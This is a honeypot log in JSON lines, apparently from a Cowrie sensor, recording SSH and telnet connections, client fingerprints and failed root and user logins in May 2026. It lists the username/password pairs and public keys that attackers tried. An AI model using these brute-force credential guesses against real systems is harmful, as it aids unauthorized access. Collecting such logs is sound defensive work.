{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:58.171376Z","src_ip":"43.134.32.136","session":"a17c62ae5267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:58.257820Z","src_ip":"103.75.182.198","session":"73c1af9ff87a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdtnbr","message":"login attempt [root/ghbdtnbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:59.021386Z","src_ip":"103.75.182.198","session":"73c1af9ff87a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jose","password":"password","message":"login attempt [jose/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:41:59.146270Z","src_ip":"43.134.32.136","session":"a17c62ae5267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:00.301596Z","src_ip":"103.75.182.198","session":"73c1af9ff87a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:00.384952Z","src_ip":"43.134.32.136","session":"a17c62ae5267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.99049425125122,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:00.424505Z","src_ip":"152.42.224.71","session":"c05664977569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12291431427002,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:09.017808Z","src_ip":"152.42.224.71","session":"c1f3fcdce254","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42182,"dst_ip":"10.17.0.5","dst_port":23,"session":"16c545dd92a8","protocol":"telnet","message":"New connection: 152.42.224.71:42182 (10.17.0.5:23) [session: 16c545dd92a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:11.298961Z"}
{"eventid":"cowrie.session.closed","duration":49.37147927284241,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:13.038274Z","src_ip":"152.42.224.71","session":"e5d7eb3d189a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50376,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c15e4a24845","protocol":"ssh","message":"New connection: 194.113.233.25:50376 (159.203.135.109:22) [session: 9c15e4a24845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:13.585453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:13.590029Z","src_ip":"194.113.233.25","session":"9c15e4a24845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:13.679550Z","src_ip":"194.113.233.25","session":"9c15e4a24845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k2010302","message":"login attempt [root/k2010302] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:13.951209Z","src_ip":"194.113.233.25","session":"9c15e4a24845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:15.044570Z","src_ip":"194.113.233.25","session":"9c15e4a24845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00372791290283,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:17.416464Z","src_ip":"152.42.224.71","session":"10a393282e72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.699034452438354,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:20.940078Z","src_ip":"152.42.224.71","session":"c9f25d3ef3d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.79621601104736,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:22.123000Z","src_ip":"152.42.224.71","session":"0f45ddd69a61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00538969039917,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:26.323301Z","src_ip":"152.42.224.71","session":"89b0904e8c8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46464,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e1d8986b144","protocol":"telnet","message":"New connection: 152.42.224.71:46464 (10.17.0.5:23) [session: 7e1d8986b144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:29.100536Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46478,"dst_ip":"10.17.0.5","dst_port":23,"session":"8619f3e6dc45","protocol":"telnet","message":"New connection: 152.42.224.71:46478 (10.17.0.5:23) [session: 8619f3e6dc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:30.103637Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46490,"dst_ip":"10.17.0.5","dst_port":23,"session":"45956a5dda75","protocol":"telnet","message":"New connection: 152.42.224.71:46490 (10.17.0.5:23) [session: 45956a5dda75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:33.131587Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56342,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6905153a9eb","protocol":"telnet","message":"New connection: 152.42.224.71:56342 (10.17.0.5:23) [session: e6905153a9eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:35.844391Z"}
{"eventid":"cowrie.session.closed","duration":45.24904441833496,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:37.529022Z","src_ip":"152.42.224.71","session":"6a7b0cb03e18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.01915454864502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:41.318046Z","src_ip":"152.42.224.71","session":"16c545dd92a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.197.250.14","src_port":36224,"dst_ip":"10.17.0.5","dst_port":22,"session":"2709f37ce823","protocol":"ssh","message":"New connection: 168.197.250.14:36224 (10.17.0.5:22) [session: 2709f37ce823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:49.732538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:49.737346Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:49.896482Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.5911557674408,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:49.905559Z","src_ip":"152.42.224.71","session":"9979adab04b6","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:80:56:91:03:1e:c7:f2:b7:38:35:86:85:81:6f:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLUi8oDiD7uq8bFVp0N4L5RTV5vIRFPvh787SQP+on9yNfyPZhaWjm74ERt7P7KO5P9lU8p3u0dq1GyScOuyQO9VegIqGN04PkLkNLv3rLiX6jIOUGRw9xljNFhHdhKx2/qI2QyZrxIHOo9+M20kvSkMTf9USXt9HPp+bl6RHJQlroc8doqHORH1bCUt/RTvPb1ePbc5UEqTqpctRVEwAgKVmBpk4zwo6E0b493Q7m5RHbKpQFEZ+fFDpzJnN3GcOxYcX5zNS1Yhc3V+5zR62KySRuDJ5yvj5Vbl6Fetcs3EVctQ5SyPaGTabrO4J/Vy4vlhcZVU4eoUS1lDkoHz1D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:80:56:91:03:1e:c7:f2:b7:38:35:86:85:81:6f:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:50.670520Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:80:56:91:03:1e:c7:f2:b7:38:35:86:85:81:6f:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLUi8oDiD7uq8bFVp0N4L5RTV5vIRFPvh787SQP+on9yNfyPZhaWjm74ERt7P7KO5P9lU8p3u0dq1GyScOuyQO9VegIqGN04PkLkNLv3rLiX6jIOUGRw9xljNFhHdhKx2/qI2QyZrxIHOo9+M20kvSkMTf9USXt9HPp+bl6RHJQlroc8doqHORH1bCUt/RTvPb1ePbc5UEqTqpctRVEwAgKVmBpk4zwo6E0b493Q7m5RHbKpQFEZ+fFDpzJnN3GcOxYcX5zNS1Yhc3V+5zR62KySRuDJ5yvj5Vbl6Fetcs3EVctQ5SyPaGTabrO4J/Vy4vlhcZVU4eoUS1lDkoHz1D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:50.674389Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:69:9b:20:71:ec:46:f4:f1:f5:be:6c:58:ad:bb:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuVBvKjclZtkSWHgvMZfjpQYNoHE8WNzBcDoXoNngeKgsk8EovpdxdmvNKqKki2SSB6lrAoEU3DXDPEf/dEZRsFijktm2i9Q6tATbLGMD5iJ84Ikn614lRZ51sk+DkfQN1ayXXII3FTPW1FQOU7E9HG9r8/rSd4QhsYcZnvCiRLak6JHPa3qOZuGp+vL98sgBesmHSBdWY10lacP0yrI18+PPlbH3A3R7R1hSSkQemZeBRHtUrBLizqAYcQQuwmltn8OLPLuIxrs6JCOPCGe8a4UF2nctq8RJouxR2cRFMo5h8Yet2lqZhWYKW7wkBx/e83SWURsKMPpYc6q/kjd+vMEi+ZyXuYoSUOfSGxT1a/gkB+ZVLGbvmy9cqq8Oobjj/BXaqdYgt2iBTxF51psLyoDurzWWkpz1iTWPcqvuMMevhYJq6cdhKRHbnZpWf6/2GRjOzrnHxFsf5lcjCTe/cUrxoZtB0uncEh7Zr/RHF/ixL5KqNFr5p0sGqxZfUdH8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:69:9b:20:71:ec:46:f4:f1:f5:be:6c:58:ad:bb:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:50.834216Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:69:9b:20:71:ec:46:f4:f1:f5:be:6c:58:ad:bb:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuVBvKjclZtkSWHgvMZfjpQYNoHE8WNzBcDoXoNngeKgsk8EovpdxdmvNKqKki2SSB6lrAoEU3DXDPEf/dEZRsFijktm2i9Q6tATbLGMD5iJ84Ikn614lRZ51sk+DkfQN1ayXXII3FTPW1FQOU7E9HG9r8/rSd4QhsYcZnvCiRLak6JHPa3qOZuGp+vL98sgBesmHSBdWY10lacP0yrI18+PPlbH3A3R7R1hSSkQemZeBRHtUrBLizqAYcQQuwmltn8OLPLuIxrs6JCOPCGe8a4UF2nctq8RJouxR2cRFMo5h8Yet2lqZhWYKW7wkBx/e83SWURsKMPpYc6q/kjd+vMEi+ZyXuYoSUOfSGxT1a/gkB+ZVLGbvmy9cqq8Oobjj/BXaqdYgt2iBTxF51psLyoDurzWWkpz1iTWPcqvuMMevhYJq6cdhKRHbnZpWf6/2GRjOzrnHxFsf5lcjCTe/cUrxoZtB0uncEh7Zr/RHF/ixL5KqNFr5p0sGqxZfUdH8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:50.837956Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:1a:34:31:af:a6:4a:b8:b1:4a:9c:c2:d7:8a:77:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA8t5yDPOkH4WKOpMJhMTarjQgMIwi/UsNd0wbbLF8uFu8+4PgQvmI67y5JToNKjLzWW2mkgh51EjM4vUsPDogXrbnZpeBzFl1XVWSeX14fGA2rJPvAmKAUF/tNWvBl3h5JnJDwbqPrntieIKmZ/QnO3cS1uOuTdh2lRr6ohZ+SWVS43W5lD8m46szA37wz1s5nLsQD9rAZlhUrKzyaZRyzz6LLCk8LeH/i2Ou7yFLZfAAV8zVCPMwLzSQR6q3eFcn32Lumn+1l9aot7woKd+eFi1XnNm86SixGySwbu22DT9txWYveAC6m3KHlVyDTHH50kQK0Qy+hOFi9NeQorafG86dxwPAROGliBhims7O4HOvCvCri1LhJ/nL41vZP2QEjiBFFQmrm5/bvYnWt8V9gnJL1SkUzntsb2xa1bBVeEiuLsJ3qTrjQ52/DMlssrmR89ogo6HIZznUadVRVan4uFe6HnnGy6q9QqncjdIgwK6Pr1bof98YsRRzNYWB3WviT58+BuT0pEf80kTmaQHXIdOhizocJ/vdvJXgyGfBl3upoWC/Wlpz0uaZ4dlisLPU+lcp4PvyJUMMOtvRbfqHTkBAdH0SXNgfWbDduDtV/p/p83/X3ChEXmtk7C9uKURv2op2VMho8D985r9guPAHASg2RXLC5V0gNYCEshpDuMk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:1a:34:31:af:a6:4a:b8:b1:4a:9c:c2:d7:8a:77:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:50.999612Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:1a:34:31:af:a6:4a:b8:b1:4a:9c:c2:d7:8a:77:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA8t5yDPOkH4WKOpMJhMTarjQgMIwi/UsNd0wbbLF8uFu8+4PgQvmI67y5JToNKjLzWW2mkgh51EjM4vUsPDogXrbnZpeBzFl1XVWSeX14fGA2rJPvAmKAUF/tNWvBl3h5JnJDwbqPrntieIKmZ/QnO3cS1uOuTdh2lRr6ohZ+SWVS43W5lD8m46szA37wz1s5nLsQD9rAZlhUrKzyaZRyzz6LLCk8LeH/i2Ou7yFLZfAAV8zVCPMwLzSQR6q3eFcn32Lumn+1l9aot7woKd+eFi1XnNm86SixGySwbu22DT9txWYveAC6m3KHlVyDTHH50kQK0Qy+hOFi9NeQorafG86dxwPAROGliBhims7O4HOvCvCri1LhJ/nL41vZP2QEjiBFFQmrm5/bvYnWt8V9gnJL1SkUzntsb2xa1bBVeEiuLsJ3qTrjQ52/DMlssrmR89ogo6HIZznUadVRVan4uFe6HnnGy6q9QqncjdIgwK6Pr1bof98YsRRzNYWB3WviT58+BuT0pEf80kTmaQHXIdOhizocJ/vdvJXgyGfBl3upoWC/Wlpz0uaZ4dlisLPU+lcp4PvyJUMMOtvRbfqHTkBAdH0SXNgfWbDduDtV/p/p83/X3ChEXmtk7C9uKURv2op2VMho8D985r9guPAHASg2RXLC5V0gNYCEshpDuMk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:51.003512Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:50:a6:1f:a7:db:9c:ab:f9:af:c6:4e:23:80:e7:07","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBAZGtUJ7Pin/N7vtgl/+4tHu7KF1lc2Jd3brlqISTsK","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint da:50:a6:1f:a7:db:9c:ab:f9:af:c6:4e:23:80:e7:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:51.163365Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:50:a6:1f:a7:db:9c:ab:f9:af:c6:4e:23:80:e7:07","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBAZGtUJ7Pin/N7vtgl/+4tHu7KF1lc2Jd3brlqISTsK","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:51.166741Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:68:27:55:34:9b:b1:4f:f4:44:7d:38:b8:9f:20:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuM7K/N/U5zC51p2ZTzD5mb0P1XUzOSIJYBbxcm8tvoMHnVnkLcffudBwuBu5jNqMpkH5NtvYcyWIkw7UejvMe1Eolq6197sUABwKywuazuPArk4SBgQ0eKY621NGfV6OQ9jEsMEcfYf6R6psTeUBzf7Qj/PS+UAmfuSWNAn5hNqmsOBC251hnt1jLbfjvtja7qR0GgoyC8msVEfCOLcVHOls7vGXWt1grhiaFBzt1e1AVeDo8VaBn8QW31843wCwBrruqUWOH5HanjMc7q0ApdOFG3xcO7T7HFXnTPOr5WPnm+/KLRQ4LB3r01setlccECyRpl0/Pbb98+hHVb2k1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:68:27:55:34:9b:b1:4f:f4:44:7d:38:b8:9f:20:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:42:51.326075Z","src_ip":"168.197.250.14","session":"2709f37ce823","protocol":"ssh"}
